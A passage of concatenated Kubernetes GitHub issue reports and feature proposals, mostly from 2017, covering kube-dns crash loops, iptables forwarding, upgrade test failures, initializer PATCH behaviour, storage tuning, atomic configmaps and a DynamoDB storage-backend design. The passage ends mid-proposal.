ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  created  events with common reason combined \r   15s   15s     1       {kubelet ravi-kube197}  spec.containers{kubernetes-dashboard}   normal  started  events with common reason combined \r    \r </details>\r \r <details>\r <summary>kubectl describe --namespace=kube-system pod kube-dns-2924299975-gz34l</summary>\r \r    \r deploy@ravi-kube196:~$ kubectl describe --namespace=kube-system pod kube-dns-2924299975-gz34l\r name:           kube-dns-2924299975-gz34l\r namespace:      kube-system\r node:           ravi-kube197/10.163.148.197\r start time:     thu, 12 jan 2017 20:18:56 +0000\r labels:         component=kube-dns\r                 k8s-app=kube-dns\r                 kubernetes.io/cluster-service=true\r                 name=kube-dns\r                 pod-template-hash=2924299975\r                 tier=node\r status:         running\r ip:             10.96.2.7\r controllers:    replicaset/kube-dns-2924299975\r containers:\r   kube-dns:\r     container id:       docker://1827435a310c7b343c28be9f46e69155bc1da45bfa97376da1b39436b9580a58\r     image:              gcr.io/google_containers/kubedns-amd64:1.9\r     image id:           docker-pullable://gcr.io/google_containers/kubedns-amd64@sha256:3d3d67f519300af646e00adcf860b2f380d35ed4364e550d74002dadace20ead\r     ports:              10053/udp, 10053/tcp, 10055/tcp\r     args:\r       --domain=cluster.local\r       --dns-port=10053\r       --config-map=kube-dns\r       --v=2\r     limits:\r       memory:   170mi\r     requests:\r       cpu:              100m\r       memory:           70mi\r     state:              waiting\r       reason:           crashloopbackoff\r     last state:         terminated\r       reason:           error\r       exit code:        137\r       started:          thu, 12 jan 2017 20:41:46 +0000\r       finished:         thu, 12 jan 2017 20:43:16 +0000\r     ready:              false\r     restart count:      9\r     liveness:           http-get http://:8080/healthz-kubedns delay=60s timeout=5s period=10s  success=1  failure=5\r     readiness:          http-get http://:8081/readiness delay=3s timeout=5s period=10s  success=1  failure=3\r     volume mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-zfzvp  ro \r     environment variables:\r       prometheus_port:  10055\r   dnsmasq:\r     container id:       docker://c4cbdc7d245b412046dd7f71df3f9b78402d1d1d8bb686461e1d79a2fa9d622c\r     image:              gcr.io/google_containers/kube-dnsmasq-amd64:1.4\r     image id:           docker-pullable://gcr.io/google_containers/kube-dnsmasq-amd64@sha256:a722df15c0cf87779aad8ba2468cf072dd208cb5d7cfcaedd90e66b3da9ea9d2\r     ports:              53/udp, 53/tcp\r     args:\r       --cache-size=1000\r       --no-resolv\r       --server=127.0.0.1 10053\r       --log-facility=-\r     requests:\r       cpu:              150m\r       memory:           10mi\r     state:              waiting\r       reason:           crashloopbackoff\r     last state:         terminated\r       reason:           error\r       exit code:        137\r       started:          thu, 12 jan 2017 20:42:26 +0000\r       finished:         thu, 12 jan 2017 20:43:56 +0000\r     ready:              false\r     restart count:      9\r     liveness:           http-get http://:8080/healthz-dnsmasq delay=60s timeout=5s period=10s  success=1  failure=5\r     volume mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-zfzvp  ro \r     environment variables:      <none>\r   dnsmasq-metrics:\r     container id:       docker://6d40d421a883ed08b08c90db87a7886edd5f1ecbd8fad555cee698392aeca74e\r     image:              gcr.io/google_containers/dnsmasq-metrics-amd64:1.0\r     image id:           docker-pullable://gcr.io/google_containers/dnsmasq-metrics-amd64@sha256:4063e37fd9b2fd91b7cc5392ed32b30b9c8162c4c7ad2787624306fc133e80a9\r     port:               10054/tcp\r     args:\r       --v=2\r       --logtostderr\r     requests:\r       memory:           10mi\r     state:              running\r       started:          thu, 12 jan 2017 20:18:58 +0000\r     ready:              true\r     restart count:      0\r     liveness:           http-get http://:10054/metrics delay=60s timeout=5s period=10s  success=1  failure=5\r     volume mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-zfzvp  ro \r     environment variables:      <none>\r   healthz:\r     container id:       docker://6be2f1379179a74fdaa823bfef08c46d57b32a04fa4e12afba9b8b53715a4008\r     image:              gcr.io/google_containers/exechealthz-amd64:1.2\r     image id:           docker-pullable://gcr.io/google_containers/exechealthz-amd64@sha256:503e158c3f65ed7399f54010571c7c977ade7fe59010695f48d9650d83488c0a\r     port:               8080/tcp\r     args:\r       --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1 >/dev/null\r       --url=/healthz-dnsmasq\r       --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1:10053 >/dev/null\r       --url=/healthz-kubedns\r       --port=8080\r       --quiet\r     limits:\r       memory:   50mi\r     requests:\r       cpu:              10m\r       memory:           50mi\r     state:              running\r       started:          thu, 12 jan 2017 20:18:58 +0000\r     ready:              true\r     restart count:      0\r     volume mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-zfzvp  ro \r     environment variables:      <none>\r conditions:\r   type          status\r   initialized   true\r   ready         false\r   podscheduled  true\r volumes:\r   default-token-zfzvp:\r     type:       secret  a volume populated by a secret \r     secretname: default-token-zfzvp\r qos class:      burstable\r tolerations:    dedicated=master:noschedule\r events:\r   firstseen     lastseen        count   from                    subobjectpath                           type            reason          message\r   ---------     --------        -----   ----                    -------------                           --------        ------          -------\r   27m           27m             1       {default-scheduler }                                            normal          scheduled       successfully assigned kube-dns-2924299975-gz34l to ravi-kube197\r   27m           27m             1       {kubelet ravi-kube197}  spec.containers{dnsmasq}                normal          started         started container with docker id af0b015ac580\r   27m           27m             1       {kubelet ravi-kube197}  spec.containers{dnsmasq}                normal          created         created container with docker id af0b015ac580; security: seccomp=unconfined \r   27m           27m             1       {kubelet ravi-kube197}  spec.containers{kube-dns}               normal          created         created container with docker id 8ef0eccb7a5f; security: seccomp=unconfined \r   27m           27m             1       {kubelet ravi-kube197}  spec.containers{kube-dns}               normal          started         started container with docker id 8ef0eccb7a5f\r   27m           27m             1       {kubelet ravi-kube197}  spec.containers{dnsmasq-metrics}        normal          pulled          container image \ gcr.io/google_containers/dnsmasq-metrics-amd64:1.0\  already present on machine\r   27m           27m             1       {kubelet ravi-kube197}  spec.containers{dnsmasq-metrics}        normal          created         created container with docker id 6d40d421a883; security: seccomp=unconfined \r   27m           27m             1       {kubelet ravi-kube197}  spec.containers{healthz}                normal          started         started container with docker id 6be2f1379179\r   27m           27m             1       {kubelet ravi-kube197}  spec.containers{healthz}                normal          created         created container with docker id 6be2f1379179; security: seccomp=unconfined \r   27m           27m             1       {kubelet ravi-kube197}  spec.containers{dnsmasq-metrics}        normal          started         started container with docker id 6d40d421a883\r   27m           27m             1       {kubelet ravi-kube197}  spec.containers{healthz}                normal          pulled          container image \ gcr.io/google_containers/exechealthz-amd64:1.2\  already present on machine\r   25m           25m             1       {kubelet ravi-kube197}  spec.containers{dnsmasq}                normal          killing         killing container with docker id af0b015ac580: pod \ kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r   24m           24m             1       {kubelet ravi-kube197}  spec.containers{kube-dns}               normal          created         created container with docker id 4fa958a4757b; security: seccomp=unconfined \r   24m           24m             1       {kubelet ravi-kube197}  spec.containers{kube-dns}               normal          killing         killing container with docker id 8ef0eccb7a5f: pod \ kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \  container \ kube-dns\  is unhealthy, it will be killed and re-created.\r   24m           24m             1       {kubelet ravi-kube197}  spec.containers{dnsmasq}                normal          created         created container with docker id bd28687cc3a3; security: seccomp=unconfined \r   24m           24m             1       {kubelet ravi-kube197}  spec.containers{dnsmasq}                normal          started         started container with docker id bd28687cc3a3\r   24m           24m             1       {kubelet ravi-kube197}  spec.containers{kube-dns}               normal          started         started container with docker id 4fa958a4757b\r   23m           23m             1       {kubelet ravi-kube197}  spec.containers{kube-dns}               normal          killing         killing container with docker id 4fa958a4757b: pod \ kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \  container \ kube-dns\  is unhealthy, it will be killed and re-created.\r   23m           23m             1       {kubelet ravi-kube197}  spec.containers{kube-dns}               normal          created         created container with docker id b6692369e2e9; security: seccomp=unconfined \r   23m           23m             1       {kubelet ravi-kube197}  spec.containers{kube-dns}               normal          started         started container with docker id b6692369e2e9\r   22m           22m             1       {kubelet ravi-kube197}  spec.containers{dnsmasq}                normal          started         started container with docker id dbc73eb48e9a\r   22m           22m             1       {kubelet ravi-kube197}  spec.containers{dnsmasq}                normal          killing         killing container with docker id bd28687cc3a3: pod \ kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r   22m           22m             1       {kubelet ravi-kube197}  spec.containers{dnsmasq}                normal          created         created container with docker id dbc73eb48e9a; security: seccomp=unconfined \r   21m           21m             1       {kubelet ravi-kube197}  spec.containers{kube-dns}               normal          killing         killing container with docker id b6692369e2e9: pod \ kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \  container \ kube-dns\  is unhealthy, it will be killed and re-created.\r   21m           21m             1       {kubelet ravi-kube197}  spec.containers{kube-dns}               normal          created         created container with docker id d961e82157ba; security: seccomp=unconfined \r   21m           21m             1       {kubelet ravi-kube197}  spec.containers{kube-dns}               normal          started         started container with docker id d961e82157ba\r   21m           21m             1       {kubelet ravi-kube197}  spec.containers{dnsmasq}                normal          killing         killing container with docker id dbc73eb48e9a: pod \ kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r   20m           20m             1       {kubelet ravi-kube197}  spec.containers{kube-dns}               normal          killing         killing container with docker id d961e82157ba: pod \ kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \  container \ kube-dns\  is unhealthy, it will be killed and re-created.\r   19m           19m             1       {kubelet ravi-kube197}  spec.containers{dnsmasq}                normal          killing         killing container with docker id 8ee9a9b16e2e: pod \ kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r   18m           18m             1       {kubelet ravi-kube197}  spec.containers{kube-dns}               normal          killing         killing container with docker id d035ec298418: pod \ kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \  container \ kube-dns\  is unhealthy, it will be killed and re-created.\r   15m           15m             2       {kubelet ravi-kube197}                                          warning         failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ kube-dns\  with crashloopbackoff: \ back-off 2m40s restarting failed container=kube-dns pod=kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \ \r \r   15m   15m     2       {kubelet ravi-kube197}          warning failedsync      error syncing pod, skipping:  failed to \ startcontainer\  for \ dnsmasq\  with crashloopbackoff: \ back-off 2m40s restarting failed container=dnsmasq pod=kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \ \r , failed to \ startcontainer\  for \ kube-dns\  with crashloopbackoff: \ back-off 2m40s restarting failed container=kube-dns pod=kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \ \r  \r   15m   13m     9       {kubelet ravi-kube197}          warning failedsync      error syncing pod, skipping:  failed to \ startcontainer\  for \ kube-dns\  with crashloopbackoff: \ back-off 2m40s restarting failed container=kube-dns pod=kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \ \r , failed to \ startcontainer\  for \ dnsmasq\  with crashloopbackoff: \ back-off 2m40s restarting failed container=dnsmasq pod=kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \ \r  \r   13m   12m     4       {kubelet ravi-kube197}          warning failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ dnsmasq\  with crashloopbackoff: \ back-off 2m40s restarting failed container=dnsmasq pod=kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \ \r \r   6m    5m      4       {kubelet ravi-kube197}          warning failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ dnsmasq\  with crashloopbackoff: \ back-off 5m0s restarting failed container=dnsmasq pod=kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \ \r \r   27m   4m      10      {kubelet ravi-kube197}  spec.containers{kube-dns}       normal  pulled          container image \ gcr.io/google_containers/kubedns-amd64:1.9\  already present on machine\r   27m   4m      10      {kubelet ravi-kube197}  spec.containers{dnsmasq}        normal  pulled          container image \ gcr.io/google_containers/kube-dnsmasq-amd64:1.4\  already present on machine\r   21m   4m      13      {kubelet ravi-kube197}  spec.containers{dnsmasq}        normal  created          events with common reason combined \r   21m   4m      13      {kubelet ravi-kube197}  spec.containers{dnsmasq}        normal  started          events with common reason combined \r   27m   3m      100     {kubelet ravi-kube197}  spec.containers{kube-dns}       warning unhealthy       readiness probe failed: get http://10.96.2.7:8081/readiness: dial tcp 10.96.2.7:8081: getsockopt: connection refused\r   11m   3m      4       {kubelet ravi-kube197}                                  warning failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ kube-dns\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kube-dns pod=kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \ \r \r   26m   3m      28      {kubelet ravi-kube197}  spec.containers{dnsmasq}        warning unhealthy       liveness probe failed: http probe failed with statuscode: 503\r   18m   2m      11      {kubelet ravi-kube197}  spec.containers{dnsmasq}        normal  killing          events with common reason combined \r   10m   54s     11      {kubelet ravi-kube197}                                  warning failedsync      error syncing pod, skipping:  failed to \ startcontainer\  for \ dnsmasq\  with crashloopbackoff: \ back-off 5m0s restarting failed container=dnsmasq pod=kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \ \r , failed to \ startcontainer\  for \ kube-dns\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kube-dns pod=kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \ \r  \r   10m   11s     24      {kubelet ravi-kube197}          warning failedsync      error syncing pod, skipping:  failed to \ startcontainer\  for \ kube-dns\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kube-dns pod=kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \ \r , failed to \ startcontainer\  for \ dnsmasq\  with crashloopbackoff: \ back-off 5m0s restarting failed container=dnsmasq pod=kube-dns-2924299975-gz34l_kube-system 582a3424-d904-11e6-bec0-0050568a2a2f \ \r  \r   15m   11s     106     {kubelet ravi-kube197}  spec.containers{kube-dns}       warning backoff back-off restarting failed docker container\r    \r </details>\r \r <details>\r <summary>sudo iptables -t filter -v -l forward --line-numbers  197 currently has the dashboard pod scheduled.  note the 2 dropped packets. </summary>\r \r    \r deploy@ravi-kube197:~$ sudo iptables -t filter -v -l forward --line-numbers\r chain forward  policy drop 2 packets, 164 bytes \r num   pkts bytes target     prot opt in     out     source               destination\r 1     1007 67570 docker-isolation  all  --  any    any     anywhere             anywhere\r 2        0     0 docker     all  --  any    docker0  anywhere             anywhere\r 3        0     0 accept     all  --  any    docker0  anywhere             anywhere             ctstate related,established\r 4        0     0 accept     all  --  docker0 !docker0  anywhere             anywhere\r 5        0     0 accept     all  --  docker0 docker0  anywhere             anywhere\r 6     1007 67570 ufw-before-logging-forward  all  --  any    any     anywhere             anywhere\r 7     1007 67570 ufw-before-forward  all  --  any    any     anywhere             anywhere\r 8     1007 67570 ufw-after-forward  all  --  any    any     anywhere             anywhere\r 9     1007 67570 ufw-after-logging-forward  all  --  any    any     anywhere             anywhere\r 10    1007 67570 ufw-reject-forward  all  --  any    any     anywhere             anywhere\r 11    1007 67570 ufw-track-forward  all  --  any    any     anywhere             anywhere\r    \r </details>\r \r </br>\r \r   what you expected to happen  :\r \r either it should be better documented that the default forward chain policy should be accept or rules should be added to prevent packets from hitting the default policy.  as a note, ubuntu 16.04 defaults the forward chain to drop.  i assume the  --masquerade-all  is why the packets are going through the forward chain in the first place but without  --masquerade-all , the dashboard still can not access the kube-apiserver.\r \r one option that i suggested in  39658 is to have kube-proxy add an iptables forward rule to accept packets that have been marked by kube-mark-masq.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r create a cluster with:\r \r - weave or flannel cni enabled\r -  iptables -p forward drop  on all nodes\r - kube-proxy set to  --masquerade-all \r - kubernetes-dashboard enabled.  kubernetes-dashboard will crash often.\r \r   anything else do we need to know  :\r \r  39658 is closed because i thought the issue was specific to canal and instead opened https://github.com/projectcalico/canal/issues/31.  however, this looks to be a larger issue that kubernetes itself should address.

during upgrades an error is encountered:\r    \r expected error:\r     < errors.errorstring | 0xc420bfef60>: {\r         s: \ expected pod \\\ \\\  success: <nil>\ ,\r     }\r     expected pod \ \  success: <nil>\r not to have occurred\r    \r error from: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.5-1.6-upgrade-master/36\r \r other failures:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.5-container_vm-1.6-upgrade-master/51\r \r /cc @skriss @krousey

feature request\r \r   what happened  :\r \r reboots to compute nodes automatically start pods.\r \r   what you expected to happen  :\r \r i would like to be able to specify a set of taints that automatically get applied to a node if it reboots so pods don't automatically reschedule on the node when it comes back from a reboot.\r \r these taints can be removed  until next reboot  by a daemonset running on the node that does sanity checks to ensure the node is ready for workloads.\r

failure cluster  8cbcbfc548bf4845455d  https://go.k8s.io/triage 8cbcbfc548bf4845455d        error text:     error during /workspace/kubetest --test --test_args=--ginkgo.focus=\\ feature:clusterupgrade\\  --upgrade-target=ci/latest --v=true --check-version-skew=false: exit status 1           failure cluster statistics: 2 tests failed,    5 jobs failed,    58 builds failed. failure stats cover 1 day time range '20 may 2017 17:55 utc' to '21 may 2017 17:55 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | skewtest | 3 | | upgradetest | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-latest-upgrade-master | 20 |  21 may 2017 17:11 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-latest-upgrade-master/2479  | | ci-kubernetes-e2e-gce-latest-upgrade-cluster | 19 |  21 may 2017 15:53 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-latest-upgrade-cluster/2044  | | ci-kubernetes-e2e-gke-latest-upgrade-cluster | 15 |  21 may 2017 17:17 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-latest-upgrade-cluster/2608  |   current status  https://go.k8s.io/triage 8cbcbfc548bf4845455d

because  admission.attributes  only passes the internal objects. we don't publish the schema of the internal objects, and the internal objects schema does not guarantee backwards compatibility, so users can't develop webhooks based on internal objects.\r \r umbrella issue:  49038

is this a bug report or feature request?  :\r \r  \r   what happened  :\r i configured an  initializer  https://kubernetes.io/docs/admin/extensible-admission-controllers/ initializers  to apply to all new pods & all new jobs.\r \r new pods and jobs end up marked with the initializer. i can retrieve the uninitialized items using the  includeuninitialized  parameter.\r \r my initializer is the only initializer in the system. in order to conform to  the api  https://kubernetes.io/docs/api-reference/v1.7/ initializers-v1-meta , i must set the  initializers  field to nil before updating the object in the system. the api server correctly enforces this rule.\r \r when i use a  patch  request to update the object in-place with the nil  initializers  field, the object retains my other changes, but comes back with  initializers.pending  set to the initializer i just cleared.\r \r when i use a  put  request to update the object by replacing it with a new instance with a nil  initializers  list, the object retains all changes, and is considered initialized.\r \r   what you expected to happen  :\r \r  patch  and  put  both allow for initializers to be cleared.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a initializer that applies to jobs:\r \r      yaml\r   apiversion: admissionregistration.k8s.io/v1alpha1\r   kind: initializerconfiguration\r   metadata:\r     name: repro-patch-bug\r   initializers:\r     - name: repro.patch.bug\r       rules:\r         - apigroups:\r             - \  \ \r           apiversions:\r             - \  \ \r           resources:\r             - jobs\r      \r 2. create any job. it will be uninitialized.\r 3. fetch the job using  includeuninitialized=true .\r 4. update the job by setting  metadata.initializers  to nil.\r 5. issue a  patch  request to update this job.\r \r follow steps 1-4 above, but issue a  put  request at the end instead.\r \r observe the differences in the resulting  metadata.initializers  object.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  :\r aws / kops\r \r

\r   \r in my kube-dns.yml the args  --domain \r        args:\r         - \ --domain=cluster.local\ \r         - --dns-port=10053\r         - --v=2\r \r in the container kube-dns \r \r  ps -ef | grep kube\r     1 root       0:01 /kube-dns --domain=cluster.local --dns-port=10053 --v=2\r \r but when i kubectl logs -n kube-system kube-dns-64b66858cd-rw6gh kubedns\r the parameter --domain  is different \r \r is this a bug?\r \r ! image  https://user-images.githubusercontent.com/37833630/40528135-52c505b2-6022-11e8-81c3-317b43c0ac04.png \r ! image  https://user-images.githubusercontent.com/37833630/40528181-887faf5e-6022-11e8-9f43-06314366798b.png \r

kubectl  port-forward   tiller-deploy-65fcff7ff6-7kjbb  -n kube-system 44134\r error: error upgrading connection: unable to upgrade connection: unauthorized\r \r does anyone have advice to solve it? thanks a lot\r 

kubernetes administrators should be able to constrain through policies which  if any  host volumes are mountable by a pod.  otherwise, pods can obtain access to sensitive data on the host  certificates and so forth  that an administrator might not want them to have access to.

according to  rhel doc  https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/performance_tuning_guide/s-storage-fs.html :      text for very large file systems, the mkfs.ext4 process can take a very long time to initialize all inode tables in the file system. this process can be deferred with the -e lazy_itable_init=1 option.      while the  default  https://github.com/kubernetes/kubernetes/blob/master/pkg/util/mount/mount_linux.go l335  is exactly the opposite.   this significantly slows down large ext4 volume creation.

this is a minor problem which can sometimes slow down attach when a volume is being detached from one node and getting attached to another.\r \r the root of the problem is - attach and detach operations run by using volumename and hence they end up sharing exponential backoff timer of one operation with another  until either of them completes , this can cause attach operation on second node to needlessly lag behind detach, if detach fails couple of times.\r \r cc @kubernetes/sig-storage-bugs

feature request\r \r    note, anywhere that says 'configmap' below could have 'secret' substituted.\r \r longer description at the bottom. tl:dr; here:\r \r we need a new volume type or a new property on configmap volumes that has the following behavior:\r    when a k8s object type that contains a pod template is created, when one or more of its configmaps is marked atomic, a snapshot of the referenced configmap is made and the template is updated to point to the snapshot instead. the lifetime of the snapshot tracks the templated object. this allows, for example, all pods in a replicaset to be atomic, as they will always have the same configmaps between member pods no matter in what order they were  re created.\r \r example workflow:\r 1. the user creates a configmap named 'bar'.\r 2. the user creates a deployment 'foo' that contains a reference to an atomic configmap named 'bar'.\r      k8s decides it needs to create a replicaset 'foo-1' based on the template in deployment 'foo'.\r      the template contains atomic configmap reference 'bar' so k8s snapshots the existing configmap 'bar' to 'bar-1' and changes the replicaset template as its being created to point to the non atomic configmap 'bar-1'\r 3. a user updates configmap 'bar' with new settings.\r      k8s receives the new configmap but does not push it out to the existing pods, as they all reference 'bar-1' instead.\r 4. the user decides now is the time to roll the config changes into production so triggers a deployment update on 'foo'.\r      k8s creates replicaset 'foo-2' snapshotting 'bar' as before, making 'bar-2' and pointing foo-2's configmap references to it.\r      k8s starts the process of doing a rolling upgrade from 'foo-1' to 'foo-2'\r 5. at this point, the user can roll all the way forward and delete replicaset 'foo-1' causing k8s to delete the associated 'bar-1' or roll back to 'foo-1's version and delete 'foo-2' and k8s will delete 'bar-2'\r \r longer explanation:\r \r before deployments, it was possible to orchestrate a rolling upgrade manually by performing replicaset creation/deletion in the right orders. but to save the user a lot of manual work, deployments were created to automate the workflow. one piece of the workflow was skipped though. that of configmaps. for some use cases, users want the replicaset to contain members that all behave identically. this is one of the great features of containers. but if config is done outside the container using configmaps, you can get into weird situations where, to upgrade from rs-1 to rs-2, the configmap has to be changed first. any pod failures in rs-1 after this change, or performing the action of rolling back to rs-1 could cause rs-1 pods to contain the configmap for rs-2's pods potentially causing malfunction or at least inconsistent behavior. this can be worked around by putting a version number in the configmap name, but that is a very manual process that parallels the manual process of doing replicaset creation/versioning that deployments were intended to alleviate.\r \r the proposal is to make that part of the workflow of deployments and other objects that support rolling upgrades/downgrades, such as the newly introduced daemonset upgrades to perform this logic on behalf of the user. the user states that they want a referenced configmap to be atomic, and the management/lifecycle of a copy of the configmap is managed by the deployment/deamonset. this unburdons the user from having to deal with manual workflow around the configmaps.\r \r a nice follow on feature would be to automatically trigger a rolling upgrade of a deployment/daemonset whenever the configmaps referenced by atomic configmaps change. this would eliminate the need for the user to perform step 4 in the example above.\r

currently it is always failing across prs see  here  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-e2e-kops-aws

dynamodb support for api server  \r \r      introduction  \r kubernetes is an open-source software for deploying and managing containerized applications. kubernetes nodes are broadly classified into two groups, master and worker nodes. master nodes provide the cluster’s control plane and worker nodes runs applications. in kubernetes control plane, apiserver acts as front-end component. all other components of kubernetes talk to backend data store through apiserver. \r \r      requirements for data store  \r \r 1.    support for watch on key  \r     most of kubernetes components instead of invoking get operations regularly on data store, they tend to subscribe for event notifications whenever a key is added/updated. before subscribing to event notifications, they perform read operations to fetch the existing keys/value in data store and then starts listening for new events.\r \r 1.    support for optimistic locking when updating the record  \r     every key in kubernetes data store must be associated with a version number to support optimistic locking. if the version number in the request matches the record then the operation will succeed.\r \r 1.    support for backup and restore  \r     in order to support crash recovery, data store should support backup and restore functionality. \r \r      etcd  \r etcd is an open-source software for building distributed in house key value store. applications using etcd can invoke their watch api to track their changes on the key. the watch api can also be invoked on key prefix rather than complete key name. also, etcd associates every operation with monotonically increasing sequence number  also called revision number . at present, kubernetes uses etcd for their backend data store.\r \r      data storage architecture  \r kubernetes stores data as key value pair. it uses revision number associated with record for optimistic locking. kubernetes relies heavily on the etcd watch api to track events associated with keys. these watch operations are invoked mostly on key prefix. \r \r for example, the token controller is the first controller process that gets initiated. these token controllers are responsible for generating secrets for new service accounts. therefore, instead of performing get for every few seconds to find new service accounts, it watches on “serviceaccount” prefix to get events whenever new service account is added.\r \r      dynamodb support  \r dynamodb is a fully managed nosql database service which provides strong consistency, data durability and also highly available by replicating the data across three availability zones. with the support of dynamodb, kubernetes customers are no longer required to setup etcd clusters on their end. with managed data store support, users do not need to worry about provisioning servers, upgrading os or data store. dynamodb also supports auto scaling which automates capacity management for tables and indexes.\r \r      dynamodb schema  \r table-1: $clustername_metadata\r hashkey: identifier\r \r attribute-1: seqidentifier, seqnumber\r comments: put/update/delete on kubemaster will increment the value of seqnumber by 1. \r \r table-2: $clustername_kubemaster\r attributes: key, value, createrevision, modrevision, version, datetime and ttl\r constraints: key attribute is the hashkey and modrevision is the rangekey.\r comments: \r createrevision indicates the sequence number when the key is created. \r modrevision indicates the sequence number when the key is last modified. \r version number indicates the number of times key has been modified. \r datetime indicates the time at which value is updated.\r ttl indicates time how long record will be persisted in the database.\r \r  following diagram shows how dynamodbmanager and apiserver communicate\r \r ! image  https://user-images.githubusercontent.com/5009646/30938608-78f07a1e-a38f-11e7-8a6c-fc31dfc9e7ea.png \r \r all writes from api servers get forwarded to the leader, who increments the sequence number and writes the record to dynamodb in order.  \r \r      k8s storage api operations  \r this section explains how apis will be implemented through dynamodb.\r \r 1.   get  \r      input parameters: key, modrevision  optional  \r      implementation: invokes dynamodb.get operation. if modrevision is specified then conditional expression is used to fetch the record. otherwise, the api will return the latest updated record for the key.\r \r 2.   create  \r      input parameters: key, value, ttl optional \r      implementation: invokes dynamodb.put operation. it uses conditional expression to insert only if the key doesn’t exist before.\r \r 3.   update  \r      input parameters: key, value, modrevision, ttl optional \r     implementation: invokes dynamodb.put operation. it uses conditional expression to update only if modrevision number matches the record in datastore.\r \r 4.   delete  \r      input parameters: key, modrevision  required for conditionaldelete api \r      implementation: invokes dynamodb.delete operation. it uses conditional expression to verify if modrevision matches the record in datastore.\r \r 5.   list  \r      input parameters: key, modrevision  optional \r      implementation: invokes dynamodb.scan operation to retrieve all the keys that matches with prefix of give input key and filters out those which has modrevision less than given value.\r \r 6.   watch  \r       input parameters: key, recursive  boolean , initialrevision\r       implementation:\r              uses dynamodb streams to watch for given key. dynamodb streams are ordered flow of information about changes to items in an amazon dynamodb table. items in the streams appear in same sequence as actual modification to items.\r              also builds prefix tree data structure to store the watch keys. watch keys are stored along with a recursive flag. values for these nodes also includes, list of channels to which the events have to be forwarded.\r \r following diagram explain how watch will be implemented\r \r ! image  https://user-images.githubusercontent.com/5009646/30938565-4c7c3842-a38f-11e7-9244-e51e24a091ea.png \r \r      dynamodb manager components:  \r   request handler:     \r \r 1. for every input request, unique channel is created to hold the data from the stream  let’s call this bufferchannel \r 1. generates a unique watch id and invokes streamhandler to insert these resources into prefix tree.\r 1. if initialrevision is specified, request handler invokes list api and forwards the items returned to output channel in the request.\r 1. finally, it loops through the bufferchannel and forwards the events to output channel.\r \r   stream handler  invokes ddb streams :  \r \r 1. whenever an item is found in stream, watch will retrieve all the nodes from prefix tree whose key matches the prefix of the item in the stream. \r 1. constructs the 